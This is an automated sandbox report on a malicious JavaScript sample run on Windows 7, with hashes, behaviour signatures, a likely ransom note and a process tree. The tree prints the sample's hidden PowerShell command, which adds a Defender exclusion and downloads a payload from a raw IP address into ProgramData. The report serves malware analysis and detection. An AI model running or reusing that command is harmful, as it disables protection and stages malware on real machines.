64339638d9234ab1efe25fe180b3097a6614687c8f83b1cc0c5a1dde570aaf81

Analysis

max time kernel
30s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
27-05-2023 08:56

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General

Target

02303299.js
Size

1KB
MD5

c80a26b806b3486c6157d8904c2e13e7
SHA1

54d8be3eb5bdd4a788dcef3265cab6c314be1ccc
SHA256

64339638d9234ab1efe25fe180b3097a6614687c8f83b1cc0c5a1dde570aaf81
SHA512

4b7c084016a3fb20ae5b95c51c0459c327b163f0d7d942d931182009cd4bde50f24a867d7e60b62a6801189bcb4bba425b474e85b009ccb27e88bc3af6f59200

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	1508	cmd.exe	29
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1240	1508	cmd.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2028	wscript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1492	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 1496	1516	cmd.exe	34
PID 1516 wrote to memory of 1496	1516	cmd.exe	34
PID 1516 wrote to memory of 1496	1516	cmd.exe	34
PID 1496 wrote to memory of 1652	1496	cmd.exe	36
PID 1496 wrote to memory of 1652	1496	cmd.exe	36
PID 1496 wrote to memory of 1652	1496	cmd.exe	36
PID 1240 wrote to memory of 1492	1240	cmd.exe	37
PID 1240 wrote to memory of 1492	1240	cmd.exe	37
PID 1240 wrote to memory of 1492	1240	cmd.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02303299.js
1⤵
- Blocklisted process makes network request
PID:2028

C:\Windows\system32\cmd.exe
cmd /c start /MIN C:\ProgramData\BLD.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\ProgramData\BLD.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe -WindowStyle hidden "Add-MpPreference -ExclusionExtension "Start-Sleep -Seconds 3;"Invoke-WebRequest 'http://188.227.59.169/zayavka/1.yay' -OutFile 'C:\ProgramData\archive.ps1'";
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652

C:\Windows\system32\cmd.exe
cmd /c start C:\ProgramData\zayavka2.txt
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\zayavka2.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\BLD.bat

Filesize
322B

MD5
018d63793042f588a85968475d98decf

SHA1
2c4f9a0bd490c2b53976adf08805dcc92fac349a

SHA256
afa8d3929a2809a91ffaa775fcc953b293e52b8accce3cd24c843cb0abbd13d0

SHA512
ee91d2218f6ac4d763858c8be3cc7ee23660de14e8dd6aea2a4a40b45a5aa6c3337ac13a366db52aab796f04058e2ec92ec81dec6c3cb93d4c310f59a6f9f98a

Download Submit
C:\ProgramData\zayavka2.txt

Filesize
1KB

MD5
6cea5f86700d707b53b8f4a67d1ccf29

SHA1
37e53dd35cbf58bd9c3b7ba0bbd7be81fcb9fe54

SHA256
6e9ba5a17bb1ee71c64337b4cd794336eaed26e79d5e2eba6c31018bc9103c70

SHA512
d836c1624995dd93462fa462ec83c5c150189c0e7b2c0c9eeb923c7b7aec40aa91e27f10ac7b5a4dc8e78c2dc8df121c97022e9b8fbdaf0d5c93f59a0e535c29

Download Submit
memory/1652-71-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1652-72-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/1652-73-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1652-75-0x000000000252B000-0x0000000002562000-memory.dmp

Filesize
220KB

Download
memory/1652-74-0x0000000002524000-0x0000000002527000-memory.dmp

Filesize
12KB

Download